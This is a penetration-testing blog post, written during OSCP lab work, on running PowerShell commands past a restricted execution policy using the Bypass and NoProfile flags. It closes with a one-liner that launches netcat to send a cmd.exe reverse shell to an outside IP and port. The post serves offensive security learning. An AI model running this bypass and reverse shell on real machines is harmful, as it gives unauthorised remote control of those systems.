UBG Hacking Team
  • About UBG
  • Site Contributors
    • NanoByt3
    • Exabyte
    • DataMcdataface
  • CTF Writeups
    • HTB Traceback Walkthrough
    • HTB Magic Walkthrough
    • HTB Nest Walkthrough
    • HTB Monteverde Walkthrough
    • HTB Resolute Walkthrough
    • HTB Ellingson Walkthrough
    • HTB Jarvis Walkthrough
  • Blog Posts
    • Certification Reviews
      • PenTest+
      • GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)
      • OSCP Guide to pass
      • SANS Guide to pass
      • CCSP Guide to pass
      • CISSP Guide to pass
      • OSWE Exam Blog
      • OSCP Exam Blog
      • CEH Exam Blog
    • Five Offensive Objectives
    • Powershell For Penetration Testers Downloading And Exfiltrating
    • Powershell For Penetration Testers Switching Users
    • Powershell For Penetration Testers Beating Restricted Policies
  • Attacks
    • WebHosting
      • IP's to block
    • Reconnaissance
      • C99 Recon
      • DNS
        • SubDomain lookup
      • Tools/Syntax
      • O365 RealmInfo
    • On-Prem Linux
      • Shell Upgrades
    • On-Prem Windows
      • Service Session Hijack
      • Egress Testing
  • Detection
  • MISC.
    • enable snmp office365
Powered by GitBook
On this page

Was this helpful?

  1. Blog Posts

Powershell For Penetration Testers Beating Restricted Policies

Powershell For Penetration Testers Beating Restricted Policies (nanobyte)

PreviousPowershell For Penetration Testers Switching UsersNextAttacks

Last updated 4 years ago

Was this helpful?

May 23, 2020 | nanobyte

Recently, while I was going for my Offensive Security Certified Professional (OSCP) certificate, I ran into a machine in the labs which had a restricted PowerShell. Simply stated, I could not enter into an interactive PowerShell session or run any PowerShell commands or scripts. PowerShell has several execution policies which can be set on a system, and these execution policies determines which scripts can be run. By default, this is set to “restricted”. From Microsoft, restricted “doesn’t load configuration files or run scripts. The default execution policy Windows client computers.”

However, there is an execution policy which, as penetration testers, we want to have set. That execution policy is “bypass”, which Microsoft states “nothing is blocked and there are no warnings or prompts.” Luckily, I am able to set the execution policy when I call a PowerShell command, and can state that the PowerShell command needs to run with bypass as the policy. Now, even though the default restricted policy is set, our commands will still run. To run a PowerShell command with bypass:

1powershell -ExecutionPolicy Bypass -Command "whoami"

Or, for shorthand:

1powershell -exec bypass -c "whoami"

Now, even though the system is restricted, PowerShell can still be leveraged! Let’s build on this and take it another step further. When you enter a PowerShell session or run a command or script, you run it in the context of the current profile. I could check the PowerShell profile and see what is set. But by running commands without checking this first, I do not know what the profile contains. Alternatively, for best practices, I can supply the No Profile flag which will run my script without using any profile:

1powershell -ExecutionPolicy Bypass -NoProfile -Command "whoami"

Or, another shorthand:

1powershell -exec bypass -nop -c "whoami"

With this, I can run commands from a restricted PowerShell enviornment without any profile loading. We are almost at the end goal, to spawn a new process on the system. Luckily, PowerShell has the built in Start-Process cmdlet (command-let). A cmdlet is a lightweight command that can be used within a PowerShell enviornment. There is most likely a cmdlet for anything you wish to accomplish in PowerShell. In my case, I wanted to start netcat for a reverse shell.

Start-Process is a powerful cmdlet, and to better understand it visit . For my case, I needed to first define the program to spawn, followed by the arguments. Simply calling Start-Process nc -e cmd.exe <IP> <PORT> would fail here. To properly spawn this new process:

1powershell -exec bypass -nop -c "& {$prog='C:\\temp\\nc.exe'; $args='-e cmd.exe 192.168.119.129 443'; Start-Process $prog $args }"

Now, my command will call PowerShell with bypass as the execution policy, to run without any profile set, and run my Start-Process command, properly passing the $prog and $args variables. At this point, you might be asking, where did the ampersand come from? In PowerShell, the ampersand is a reserved character for a run call operator. This call operator is needed to force PowerShell to treat the text as a command and not a string, and execute it. For more information, please visit .

And that is it, the above command will now spawn a new process, bypassing the restricted PowerShell execution policy to run my command!

docs.microsoft
ss64.com